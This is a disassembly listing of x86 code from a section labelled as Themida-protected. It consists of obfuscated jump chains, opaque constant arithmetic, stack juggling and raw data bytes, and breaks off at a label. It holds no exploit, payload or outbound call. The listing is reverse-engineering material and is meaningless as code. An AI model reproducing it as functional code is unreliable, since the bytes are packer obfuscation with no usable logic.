		dd 6E53E952h, 0E9590000h, 0FFFFFE7Eh, 7A0068h, 242C8900h
		dd 962AE9h, 0E9F28100h,	8163DD3Ah, 587CF3C6h, 764BE966h
		dd 0C7810000h, 4396E663h, 3C8BFA09h, 4C48124h, 81000000h
		dd 562E34E2h, 8FCA8120h, 81375A21h, 0A1D275C2h,	56D2E9C8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5465DA:				; CODE XREF: Themida_:0054DD7Cj
		push	18CDh
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	eax
		mov	eax, 3B483830h
		jmp	loc_54BECF
; ---------------------------------------------------------------------------
		db 0BBh
		dd 2A16E21Eh, 895BDE31h, 24348BF0h, 4C481h, 0C7010000h
		dd 0CCE95158h
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54660B:				; CODE XREF: Themida_:0054896Bj
		pop	edx
		pop	edi
		jmp	loc_545A30
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4815924h, 4, 4C181h, 0A4680000h, 89000050h, 9EBD242Ch
		dd 4D133F53h, 0AC67C581h, 0C181ECC0h, 42811279h, 0E981E901h
		dd 42811279h, 0E9242C8Bh, 8E22h, 5BDC6866h, 4494E9h
		db 0
; ---------------------------------------------------------------------------

loc_546655:				; CODE XREF: Themida_:00546225j
		shr	ebp, 4
		jmp	loc_54F9F1
; ---------------------------------------------------------------------------
		db 83h,	0EAh, 4
		dd 5C241487h, 5782E9h, 0E8EB8100h, 5049A871h, 7A81E9h
		dd 32FF6400h, 0FFD9A5E9h, 0BD5557FFh, 2, 15DEF89h, 0FF515FF9h
		dd 59042474h, 5C24048Fh, 2FD5E9h
		db 0
; ---------------------------------------------------------------------------

loc_546699:				; CODE XREF: Themida_:00546D4Cj
		pop	esi
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		shr	eax, 10h
		jmp	loc_545827
; ---------------------------------------------------------------------------

loc_5466B4:				; CODE XREF: Themida_:0054A799j
		shl	eax, 8
		push	ebp
		mov	ebp, 74300597h
		shl	ebp, 2
		xor	ebp, 45D02CF0h
		add	ebp, 623A3741h
		jmp	loc_5444F2
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
aHm		db '$hM[',0
		align 2
		dw 1C89h
		dd 1C8B5424h, 8720E924h, 0EB800000h, 885051ADh,	0E9C188D8h
		dd 42B3h
; ---------------------------------------------------------------------------

loc_5466F4:				; CODE XREF: Themida_:0054C9CEj
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xor	[esp+4], esi
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	eax, [esp]
		add	esp, 4
		xor	eax, 1650194Eh
		jmp	loc_54BD45
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 8F000000h, 248B2404h, 0B60F6624h, 1D6866C8h,	0C89665Ah
		dd 0D8D4E924h, 0E389FFFFh, 4CFE68h, 3B67E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54675A:				; CODE XREF: Themida_:0054AC93j
		push	ebp
		mov	ebp, 55DD0E93h
		jmp	loc_54C7FC
; ---------------------------------------------------------------------------
		db 4Ah,	53h, 0BBh
		dd 1599746Ch, 0E3D1EBD1h, 3CB8143h, 8160C075h, 0D03C04F3h
		dd 0E31DE955h, 815AFFFFh, 4C4h,	778D6800h, 2C890000h, 815D5424h
		dd 4C5h, 4EC8100h, 89000000h, 4B82404h,	1000000h, 24048BC5h
		dd 3304C483h, 2C31242Ch, 242C3324h, 0F724248Bh,	6D2668F1h
		dd 14890000h, 0E99C5024h, 0FFFFD856h, 0E9D831ADh, 199Ah
		dd 56241C89h, 9E5817BEh, 4AF5E91Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5467E2:				; CODE XREF: Themida_:0054FFFEj
		mov	edx, 264E37DBh
		mov	esi, 0D9B1C825h
		jmp	loc_54D8C5
; ---------------------------------------------------------------------------

loc_5467F1:				; CODE XREF: Themida_:0054F680j
		push	ecx
		mov	ecx, 249822D9h
		mov	edi, 825673A4h
		sub	edi, ecx
		pop	ecx
		add	edi, 16E71DCEh
		inc	edi
		not	edi
		jmp	loc_54795B
; ---------------------------------------------------------------------------
		db 0BEh, 0F3h, 15h
		dd 0F709294Eh, 0F1EF815Eh, 13D7E7Dh, 243C8BFBh,	81E3E9h
		db 0
; ---------------------------------------------------------------------------

loc_546825:				; CODE XREF: Themida_:0054D9B5j
		pop	esi
		and	eax, edi
		jmp	loc_54C21C
; ---------------------------------------------------------------------------
aAS		db '€Ë^éÎ',0Ah,0
		dd 4C78100h, 8106E55Dh,	0B2056AC7h, 13C7814Ch, 812B3854h
		dd 0A1E68C7h, 1C4CE90Ah, 0C5890000h, 6288E9h, 48F5400h
		dd 24048124h, 4, 5024148Bh, 405E089h, 0E9000000h, 3816h
		dd 678968h, 24148900h, 0A5E9B5B2h, 5FFFFE9h, 7B154BEAh
		dd 81240C8Bh, 4C4h, 4A4EE900h, 0E9590000h, 400Ch, 5BC6E781h
		dd 685949h, 0E9000000h,	88C7h
; ---------------------------------------------------------------------------

loc_5468AC:				; CODE XREF: Themida_:0054D97Fj
		add	edi, 2
		xchg	edi, [esp]
		pop	esp
		shr	word ptr [esp],	cl
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------
		dd 0FFFFEF81h, 8147FFFFh, 0F7FB9DC7h, 5FF901FAh, 79E95150h
		dd 58FFFFF5h, 2474FF51h, 48F5904h, 24248B24h, 85F9E9h
		dd 7EEE8100h, 1000640h,	2434FFF2h, 4C4835Eh, 0FFECE2E9h
		dd 0B9E980FFh, 8855C180h, 0D30059CAh, 0C3285A66h, 10B868h
		dd 24148900h, 27ABE951h, 0F6810000h, 0CD9CD194h, 0E95EF001h
		dd 8A98h, 0CE81DEF7h, 60FA547Ch, 0D47BEE81h, 0BE56F6FFh
		dd 5FC1663h, 8108EEC1h,	0C9779BEEh, 84EE8148h, 298CCC25h
		dd 0F1015EF1h, 5EF7C181h, 335E2A70h, 0C31240Ch,	240C3324h
		dd 250DE9h, 5FF80100h, 22DF829h, 5F3DD011h, 5667E9h, 4C48300h
		dd 0E796866h, 0E56E9h, 24248B00h, 4EC81h, 14890000h, 6824h
		dd 8BE90000h, 6800004Ch, 5467h,	0E9240489h, 3F42h
; ---------------------------------------------------------------------------

loc_5469A4:				; CODE XREF: Themida_:00548094j
		shr	ebx, 3
		shr	ebx, 7
		sub	ebx, 1B692Eh
		jmp	loc_54D707
; ---------------------------------------------------------------------------

loc_5469B5:				; CODE XREF: Themida_:0054D869j
		mov	[esp], ecx
		jmp	loc_544022
; ---------------------------------------------------------------------------
		db 83h,	0EFh, 4
		dd 2474FF57h, 243C8B04h, 8F6CE9h, 0BEE95300h, 81000062h
		dd 4ECh, 48F5400h, 24048124h, 4, 83241C8Bh, 0C38104C4h
		dd 4, 0E904C383h, 1E79h, 0BF243C89h, 8DB3872h, 15FF801h
		dd 38722DD8h, 79E908DBh
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_546A0F:				; CODE XREF: Themida_:0054BED9j
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_548DE3
; ---------------------------------------------------------------------------
		dd 7DF28159h, 0E93B8618h, 4A7Fh, 0E9240489h, 2355h, 5A5BF988h
		dd 68h,	240C2800h, 50240C8Ah, 5ADE9h, 88D38800h, 678BE9DDh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_546A5A:				; CODE XREF: Themida_:005476C8j
		mov	esi, 15EF3F81h
		add	esi, 0EA10C083h
		add	ebp, esi
		jmp	loc_549A9A
; ---------------------------------------------------------------------------

loc_546A6C:				; CODE XREF: Themida_:00545E0Aj
		pop	edx
		sub	esi, 19963B8Eh
		sub	esi, 125F22B1h
		sub	esi, ecx
		jmp	loc_54FA84
; ---------------------------------------------------------------------------
		dd 0F24248Bh, 34FFC0B6h, 0EC835187h, 24348904h,	2F1AB850h
		dd 0C689555Bh, 0E924048Bh, 28F3h, 7524E952h, 0CD810000h
		dd 501D60B3h, 3BEDF581h, 0CD816915h, 0E927F74h,	48DBED81h
		dd 0EA2916D2h, 83242C8Bh, 0D30104C4h, 0E8C3815Ah, 0E949A871h
		dd 0FFFFEE54h
; ---------------------------------------------------------------------------

loc_546AD4:				; CODE XREF: Themida_:0054FF94j
		sub	edi, 77830B8Fh
		xor	edi, 0C29CE03Fh
		add	[esp+4], edi
		pop	edi
		mov	eax, [esp]
		push	edi
		jmp	loc_54B2BA
; ---------------------------------------------------------------------------

loc_546AEE:				; CODE XREF: Themida_:00545138j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_54E71A
; ---------------------------------------------------------------------------
		dd 0D95AE95Bh, 4BAFFFFh, 1000000h, 24148BD7h, 0B2E9h, 653E6800h
		dd 4890000h, 52E08924h,	4DC0E9h
		db 0
; ---------------------------------------------------------------------------

loc_546B25:				; CODE XREF: Themida_:0054B7BFj
		mov	ebx, [esp]
		jmp	loc_54775E
; ---------------------------------------------------------------------------

loc_546B2D:				; CODE XREF: Themida_:0054ADC1j
		xor	ecx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		mov	ah, dl
		jmp	loc_549AFE
; ---------------------------------------------------------------------------
		db 5Bh,	81h, 0C3h
		dd 4, 4E31B951h, 86E95C59h, 5F00001Ah, 4C581h, 2C870000h
		dd 52E95C24h, 0ADFFFFE9h, 6C78CA2Dh, 0E9D8014Bh, 3380h
		dd 3159C581h, 0DDF74327h, 6F6FBE56h, 0E6D12864h, 81EED146h
		dd 92BD9CEEh, 5EF529D7h, 51E9E901h, 5F000081h, 815F5457h
		dd 4C7h, 4EF8300h, 0E9243C87h, 0FFFFE2CFh
; ---------------------------------------------------------------------------

loc_546BA8:				; CODE XREF: Themida_:0054ECDFj
		push	eax
		push	617C0364h
		pop	eax
		jmp	loc_54AF00
; ---------------------------------------------------------------------------

loc_546BB4:				; CODE XREF: Themida_:0054A1C0j
		mov	[esp], edx
		mov	eax, [esp]
		jmp	loc_54E050
; ---------------------------------------------------------------------------
		db 83h
		dd 5FE904C4h, 83000036h, 38E904C4h
		db 75h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_546BCF:				; CODE XREF: Themida_:0054A2F3j
		sub	edi, 1BBB0470h
		sub	esp, 4
		mov	[esp], edi
		sub	dword ptr [esp], 11C1373Dh
		pop	ecx
		jmp	loc_54F258
; ---------------------------------------------------------------------------
		dd 4055Ch, 0B9510000h, 2, 4CE9C801h
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_546BFB:				; CODE XREF: Themida_:005463A1j
		sub	esp, 4
		mov	[esp], eax
		push	edx
		mov	edx, ecx
		mov	eax, edx
		jmp	loc_548CFC
; ---------------------------------------------------------------------------

loc_546C0B:				; CODE XREF: Themida_:0054C256j
		push	45F1h
		mov	[esp], ecx
		mov	ecx, 0BC77FCCh
		jmp	loc_5453B8
; ---------------------------------------------------------------------------
		db 5Dh,	5Ah, 2Dh
		dd 15FA0F84h, 5356D001h, 2A547E68h, 0E94B5B0Ch,	1AA2h
		dd 4C681h, 0C6810000h, 4, 5C243487h, 0FFD3D9E9h, 80EBB5FFh
		dd 0F580F3CDh, 0CCCD801Fh, 0E983ED80h, 1306h, 8B241487h
		dd 48B2424h, 11ED6824h,	9BE90000h, 0B5FFFFF6h, 66EB2810h
		dd 80C30059h, 686610C3h, 88E97AF0h, 8100000Bh, 4C4h, 0ECF58000h
		dd 0FFD655E9h, 74C680FFh, 1EF680h, 71D3E9F0h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_546C9E:				; CODE XREF: Themida_:00549A2Cj
		inc	eax
		and	eax, 501A1280h
		xor	eax, 37C15DA3h
		xor	ebx, eax
		pop	eax
		mov	edx, ebx
		pop	ebx
		add	edx, 4A7D3E53h
		sub	edx, 7C59530Ch
		add	edx, edi
		add	edx, 7C59530Ch
		jmp	loc_5445FD
; ---------------------------------------------------------------------------

loc_546CC8:				; CODE XREF: Themida_:0054C1B2j
		push	ebx
		jmp	loc_549CD9
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 4C48324h, 55E18951h,	0FA2465BDh, 8BE5810Ah, 81443700h
		dd 351CD1F5h, 0FE82E96Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_546CEE:				; CODE XREF: Themida_:00548E6Dj
		add	ebp, 4
		jmp	loc_545B1D
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aHqh		db '$hďh',0
		align 2
aS_5		db 'é ',27h,0
		dw 0AD00h
		dd 207F83h, 443BE9h
		db 0
; ---------------------------------------------------------------------------

loc_546D11:				; CODE XREF: Themida_:0054CD7Aj
		pop	esi
		sub	esp, 4
		jmp	loc_54B65C
; ---------------------------------------------------------------------------
		dw 3C87h
		dd 0E57AE924h, 3BB5FFFFh, 0B353DDF6h, 5BF38055h, 0E95BDD30h
		dd 0D51h, 243CD366h, 0D2E4E99Ch, 34FFFFFFh, 0F8E95824h
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_546D47:				; CODE XREF: Themida_:00549A3Fj
		and	eax, esi
		push	dword ptr [esp]
		jmp	loc_546699
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		db 8Bh,	1Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_54835B
; ---------------------------------------------------------------------------
		dd 4C481h, 52660000h, 66DAE9h, 0D2A8E900h, 0C781FFFFh
		dd 4, 0E904C783h, 0FFFFEE22h, 0C38095B3h, 0EBB7E9C2h, 640DFFFFh
		dd 0E916E224h, 576Bh, 0FF24248Bh, 48B2434h, 110FE924h
		dd 348B0000h, 0D6E95024h, 0B9000008h, 4, 8159CF01h, 4C7h
		dd 243C8700h, 24048F5Ch, 2C31E9h, 24248900h, 4240483h
		dd 4EC815Fh, 89000000h,	4BB241Ch, 81000000h, 2030C8C7h
		dd 29E1E939h, 875D0000h, 248B2404h, 2424D324h, 0D224E99Ch
		dd 0E289FFFFh, 1A95E9h
		db 0
; ---------------------------------------------------------------------------

loc_546E05:				; CODE XREF: Themida_:00549D5Fj
		add	edi, 39796AA4h
		mov	eax, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		jmp	loc_5473AF
; ---------------------------------------------------------------------------

loc_546E1C:				; CODE XREF: Themida_:0054B44Bj
		mov	dh, 0Ch
		mov	al, dh
		jmp	loc_54828A
; ---------------------------------------------------------------------------

loc_546E25:				; CODE XREF: Themida_:0054B6DFj
		mov	esi, 4
		add	ebp, 594829A8h
		push	52CFh
		mov	[esp], esi
		mov	esi, 58591859h
		sub	ebp, esi
		pop	esi
		jmp	loc_54739C
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 4
		dd 0E9000000h, 210Ch
; ---------------------------------------------------------------------------

loc_546E50:				; CODE XREF: Themida_:0054A348j
		push	esi
		mov	esi, esp
		add	esi, 4
		push	eax
		mov	eax, 17607CBh
		xor	eax, 73C05805h
		sub	eax, 436E0FA0h
		dec	eax
		inc	eax
		jmp	loc_54C857
; ---------------------------------------------------------------------------
		dd 6E4968h, 240C8900h, 0C1815954h, 4, 4E981h, 0C330000h
		dd 8BFCE924h, 0FD280000h, 1A6BE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_546E96:				; CODE XREF: Themida_:0054CC3Dj
		mov	ebx, 24h
		add	ebx, edi
		xor	esi, [ebx]
		pop	ebx
		xor	[edi+24h], esi
		jmp	loc_546396
; ---------------------------------------------------------------------------
		dd 7D5468h, 240C8900h, 8C3C62B9h, 7AB1687Bh, 0C890000h
		dd 8B595324h, 0B6E9241Ch, 0FF00004Eh, 34FF2434h, 24148B24h
		dd 4C481h, 0E9570000h, 86F1h, 33BA5257h, 81024B3Eh, 820AF6CAh
		dd 0BAEA8135h, 0C140A52Dh, 0EA8105E2h, 0B27B1766h, 0E95AD789h
		dd 445Fh, 0E956EA80h, 41FFh, 5C240C87h,	0BF243C89h, 4
		dd 565FF901h, 2BEh, 5EF12900h, 0FFD432E9h, 81E689FFh, 4C6h
		dd 4EE8300h, 5C243487h,	88241489h, 2E7068C6h, 0C890000h
		dd 53F18824h, 28BBh, 0E9FB0100h, 48C3h
; ---------------------------------------------------------------------------

loc_546F50:				; CODE XREF: Themida_:00546187j
		pop	eax
		jmp	loc_54DB3D
; ---------------------------------------------------------------------------

loc_546F56:				; CODE XREF: Themida_:0054CB22j
		mov	edi, ecx
		pop	ecx
		and	eax, edi
		jmp	loc_547FB8
; ---------------------------------------------------------------------------
		dd 0C02FF380h, 0B45007EBh, 0F4E4802Dh, 28E9DCF6h
		db 80h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_546F73:				; CODE XREF: Themida_:0054BE1Cj
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		shr	eax, 0Ch
		jmp	loc_546261
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_54A9D2
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 0E2h
		dd 81682E02h, 0E57C94EBh, 0E9CB013Bh, 8AEh
; ---------------------------------------------------------------------------

loc_546FA8:				; CODE XREF: Themida_:005476BAj
		add	esp, 4
		xor	esi, edx
		xor	edx, esi
		jmp	loc_54F4B2
; ---------------------------------------------------------------------------
		db 83h
		dd 1C8904ECh, 57E38924h, 4BFh, 7E95200h
		db 6Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_546FCB:				; CODE XREF: Themida_:0054B286j
		xor	al, dl
		xor	dl, al
		neg	al
		jmp	loc_54C812
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4C48124h, 87000000h,	248B241Ch, 241C8924h, 6D07E954h
		dd 48F0000h, 8B545724h,	0C483243Ch, 0F18EE904h,	0E089FFFFh
		dd 405h, 0FE3BE900h, 3489FFFFh,	395BBE24h, 0C6816C24h
		dd 34FB05DFh, 6E6C146h,	837AE9h
		db 0
; ---------------------------------------------------------------------------

loc_547021:				; CODE XREF: Themida_:0054F765j
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		add	esi, 2
		xchg	esi, [esp]
		jmp	loc_54D024
; ---------------------------------------------------------------------------
		db 81h,	0F6h, 31h
		dd 8124B328h, 0E731EFEFh, 81F72955h, 0E731EFC7h, 74E95E55h
		dd 6600004Dh, 50240C8Bh, 2434FF54h, 4EC8358h, 5AD6E9h
		db 0
; ---------------------------------------------------------------------------

loc_547065:				; CODE XREF: Themida_:0054A97Aj
		not	edi
		xor	edi, 43B54A86h
		jmp	loc_54E302
; ---------------------------------------------------------------------------
aVs_l		db 'Vé_L',0
		align 4
		dd 8B126F0Dh, 4E0C144h,	0EB9EE605h, 58C62957h, 0FEE9F789h
		dd 89FFFFD8h, 0D9E9241Ch, 53000018h, 8EE91BB3h,	81FFFFF7h
		dd 4ECh, 24048900h, 0FFFBFFB8h,	1C4721FFh, 523FE9h, 0E7C15A00h
		dd 6BBD5508h, 812BEF04h, 0EF046CEDh, 5DEF292Bh,	582AE9h
		db 0
; ---------------------------------------------------------------------------

loc_5470CD:				; CODE XREF: Themida_:0054F92Cj
		mov	ecx, 59B57965h
		neg	ecx
		jmp	loc_546094
; ---------------------------------------------------------------------------
		db 0F7h, 0DDh, 81h
		dd 3D9190EDh, 5DE9296Ch, 1CE9E901h, 8F00003Ch, 0B9E94047h
		db 55h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5470F3:				; CODE XREF: Themida_:0054F48Fj
		mov	esi, ebp
		pop	ebp
		and	eax, esi
		jmp	loc_5476E1
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aRtzsmz		db '$RTZéŒz',0
		db 0
; ---------------------------------------------------------------------------

loc_547109:				; CODE XREF: Themida_:0054F20Bj
		pop	cx
		shr	bh, 8
		xor	bh, 0DBh
		push	edx
		push	eax
		mov	ah, 19h
		jmp	loc_5500AC
; ---------------------------------------------------------------------------

loc_54711A:				; CODE XREF: Themida_:0054C4A4j
		push	6677h
		jmp	loc_54B64E
; ---------------------------------------------------------------------------
		dd 6CE9D800h, 66FFFFFFh, 57240C8Bh, 5650E789h, 710DBB53h
		dd 0E951150Bh, 0B0Eh, 8B92D029h, 0C4832404h, 0F0E95704h
		dd 0AD00003Eh, 177D68h,	243C8900h, 0C781E789h, 4, 0FFF858E9h
		dd 8BD830FFh, 51E9241Ch, 89000017h, 14F7243Ch, 0EFC15F24h
		dd 14F75706h, 0EF815F24h, 1D741BDFh, 8AB85056h,	0D1075C5Bh
		dd 0B1E948E0h
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_547193:				; CODE XREF: Themida_:0054B9AEj
		add	esp, 4
		and	eax, ebp
		jmp	loc_54B542
; ---------------------------------------------------------------------------
		dd 0E924348Bh, 0FFFFE7E8h, 20D4E955h, 0C7810000h, 6CA61F92h
		dd 6739E9h, 8BF80100h, 0C481243Ch, 4, 0E958C301h, 33AAh
		dd 0E9D2F74Ah, 5861h
; ---------------------------------------------------------------------------

loc_5471D4:				; CODE XREF: Themida_:0054C792j
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_544B51
; ---------------------------------------------------------------------------

loc_5471F0:				; CODE XREF: Themida_:0054CB6Dj
		shl	edx, 1
		add	edx, 0DEE9E2FCh
		sub	eax, 157774EBh
		add	eax, edx
		add	eax, 157774EBh
		jmp	loc_54C235
; ---------------------------------------------------------------------------
		db 1, 0E8h, 5Dh
		dd 91BD5556h, 8116D664h, 0E40239C5h, 0E8C5817Ah, 0C122C17Ch
		dd 63E902EDh, 3300006Dh, 248B2414h, 24148924h, 4BAh, 1F93E900h
		dd 89570000h, 4BE56E7h,	1000000h, 7EEFE9F7h, 0EB20000h
		dd 5A66D328h, 0E9C8C380h, 1FB1h, 74FF565Bh, 0E95E0424h
		dd 0FFFFE112h, 0B3F3815Eh, 109D542h, 84685BD8h,	89000077h
		dd 0E957242Ch, 7B4Ch
; ---------------------------------------------------------------------------

loc_54727C:				; CODE XREF: Themida_:0054AE75j
		pop	ecx
		push	esi
		jmp	loc_544C9B
; ---------------------------------------------------------------------------
		db 89h
		dd 24048BC6h, 4C481h, 0B9510000h, 9B1B276h, 3F44EE81h
		dd 0CE012B88h, 3F44C681h, 4E592B88h, 54A6E9h, 35BB5300h
		dd 21091F6Fh, 241C8BDDh, 5104C483h, 0D5A835B9h,	0E9CD3105h
		dd 8CDBh, 4108E1C1h, 2C18141h, 89518730h, 0C18959C8h, 59CB0158h
		dd 4B951h, 0B9E90000h
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5472E3:				; CODE XREF: Themida_:0054DC48j
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	6CE9h
		mov	[esp], edi
		jmp	loc_54CCC2
; ---------------------------------------------------------------------------
		dw 6664h
		dd 0D6E9028Bh, 0D000008Bh, 34C380E3h, 7426E9h, 4895C00h
		dd 24048B24h, 4EC81h, 4890000h,	9D9E924h, 0CA290000h, 2E75C281h
		dd 0EE900E4h
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------

loc_54732F:				; CODE XREF: Themida_:005446BBj
		push	esi
		mov	esi, 348558B6h
		push	edx
		mov	edx, 74B30BBBh
		jmp	loc_545A4C
; ---------------------------------------------------------------------------
		dd 240C8B66h, 12DDE9h, 241C8B00h, 4A09E9h, 48B6600h, 32CC6824h
		dd 1C890000h, 685B5424h, 6334h,	57243489h, 0F13C6B68h
		dd 0DE95F68h, 8B00005Ch, 34FF2424h, 0F41E924h, 0C6800000h
		dd 4220E9C3h, 34FF0000h, 0EC835924h, 24048904h,	4055854h
		dd 0E9000000h, 0FFFFE008h
; ---------------------------------------------------------------------------

loc_54739C:				; CODE XREF: Themida_:00546E40j
		add	ebp, esi
		push	ecx
		mov	ecx, 0C743880h
		neg	ecx
		shl	ecx, 3
		dec	ecx
		jmp	loc_5493BA
; ---------------------------------------------------------------------------

loc_5473AF:				; CODE XREF: Themida_:00546E17j
		add	edx, 4
		jmp	loc_549BB6
; ---------------------------------------------------------------------------
		dw 0DA01h
		dd 0D283E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5473C2:				; CODE XREF: Themida_:0054AED6j
		sub	bl, 0EDh
		push	ax
		jmp	loc_54EF40
; ---------------------------------------------------------------------------
		dd 0BD55E289h, 4, 77E6C281h, 0EA016B0Bh, 77E6EA81h, 505D6B0Bh
		dd 4775E9h, 81C60100h, 585286C6h, 6852587Eh, 0A31h, 392CE9h
		dd 0A7ABF00h, 0BB533870h, 27801D85h, 5B72EB81h,	814322F4h
		dd 9D0ACFC3h, 8EB817Dh,	1608F92h, 0F7815BDFh, 306B57DCh
		dd 5802E9h, 4C38100h, 81000000h, 4ECh, 240C8900h, 8904EC83h
		dd 9DBE2434h, 0B97B0243h, 0BD0A453Fh, 555EF129h, 3208D5BDh
		dd 5DE93131h, 975E981h,	0CB01733Ah, 4EC8159h, 0E9000000h
		dd 1570h
; ---------------------------------------------------------------------------

loc_547468:				; CODE XREF: Themida_:0054D7E4j
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_54654B
; ---------------------------------------------------------------------------

loc_547477:				; CODE XREF: Themida_:00549838j
		xor	edx, 11A73222h
		xor	edi, edx
		jmp	loc_545C92
; ---------------------------------------------------------------------------
		dd 0E904EC83h, 0FFFFDA10h, 4EC8351h, 52240489h,	0FFF965E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_547499:				; CODE XREF: Themida_:0054EC77j
		sub	esp, 4
		jmp	loc_54BB9E
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4EC8159h, 89000000h,	0E0892404h, 405h, 4EC8100h, 89000000h
		dd 66E9243Ch, 3400000Dh, 533E0C61h, 0FFDDBEE9h,	9FE981FFh
		dd 810BCE37h, 8EC196C1h, 59CE01D9h, 2474FF56h, 4AE95E04h
		dd 87000081h, 72E9241Ch, 5600002Ah, 8A55D3BEh, 1ECEE95Fh
		dd 0B8500000h, 5820D1Fh, 63A4E9h, 6358B900h, 0F181138Fh
		dd 29A04FAFh, 212CE9h, 80D18600h, 0C830E2C1h, 3FAE9h, 1BE94E00h
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------

loc_547527:				; CODE XREF: Themida_:0054AE9Fj
		sub	bl, ch
		sub	bl, 49h
		pop	ecx
		add	bl, al
		push	ecx
		jmp	loc_54D1EE
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 6659669Dh, 9C241CD3h, 0FFCADDE9h, 0E95257FFh, 6BF5h
; ---------------------------------------------------------------------------

loc_54754C:				; CODE XREF: Themida_:00544DC3j
		mov	ecx, 0FC7FBBADh
		xor	edx, ecx
		jmp	loc_54518D
; ---------------------------------------------------------------------------
		dd 5C241487h, 4605E6C1h, 0F81C681h, 0F701D25Bh,	5224348Bh
		dd 0B951E289h, 5AB40708h, 0C108E9C1h, 0E98106E9h, 16ACCh
		dd 8359CA01h, 148704C2h, 3C875C24h, 5D83E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_547592:				; CODE XREF: Themida_:0054F9CCj
		mov	ecx, [esp]
		add	esp, 4
		mov	eax, ecx
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_54EFAD
; ---------------------------------------------------------------------------

loc_5475A8:				; CODE XREF: Themida_:0054626Cj
		xchg	ecx, [esp]
		jmp	loc_544C11
; ---------------------------------------------------------------------------
		dd 5C241C87h, 4C381h, 0C3810000h, 2, 31241C33h,	1C33241Ch
		dd 869FE924h, 0C0830000h, 24048704h, 14C6815Ch,	1115C28h
		dd 14EE81DEh, 8B115C28h, 71E9241Ch, 89000081h, 2BA2414h
		dd 89000000h, 2434FFD3h, 49B1E9h, 2434FF00h, 31FFE9h
		db 0
; ---------------------------------------------------------------------------

loc_547605:				; CODE XREF: Themida_:00549513j
		push	4CAFh
		mov	[esp], ebx
		mov	ebx, 40h
		and	ecx, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_54C1AC
; ---------------------------------------------------------------------------
		db 83h
		dd 148904ECh, 814EE924h, 0C15A0000h, 16E906E3h,	0B2FFFFCEh
		dd 3EAC0DAh, 0E8EA80h, 47C2E9D0h, 0BB530000h, 29199Fh
		dd 15BDE31h, 23E95EF2h,	88000058h, 45B58C2h, 0E9D0007Eh
		dd 44D3h, 5DEB2966h, 0EEEB8166h, 0C3016663h, 64BFE9h, 638BF00h
		dd 6686B20h, 89000026h,	0B9512434h, 6C401EEEh, 618DE9h
		dd 5E08900h, 4,	405h, 24048700h, 0B2E9FD5Ch, 89000054h
		dd 0F8095AD7h, 0FFCFC1E9h, 74FF53FFh, 46E90424h
		db 7, 2	dup(0)
; ---------------------------------------------------------------------------

loc_5476B3:				; CODE XREF: Themida_:0054A3FDj
		xchg	ecx, [esp]
		pop	esp
		mov	esi, [esp]
		jmp	loc_546FA8
; ---------------------------------------------------------------------------
a_sri		db '_鐉',0
		db 0
; ---------------------------------------------------------------------------

loc_5476C5:				; CODE XREF: Themida_:0054D625j
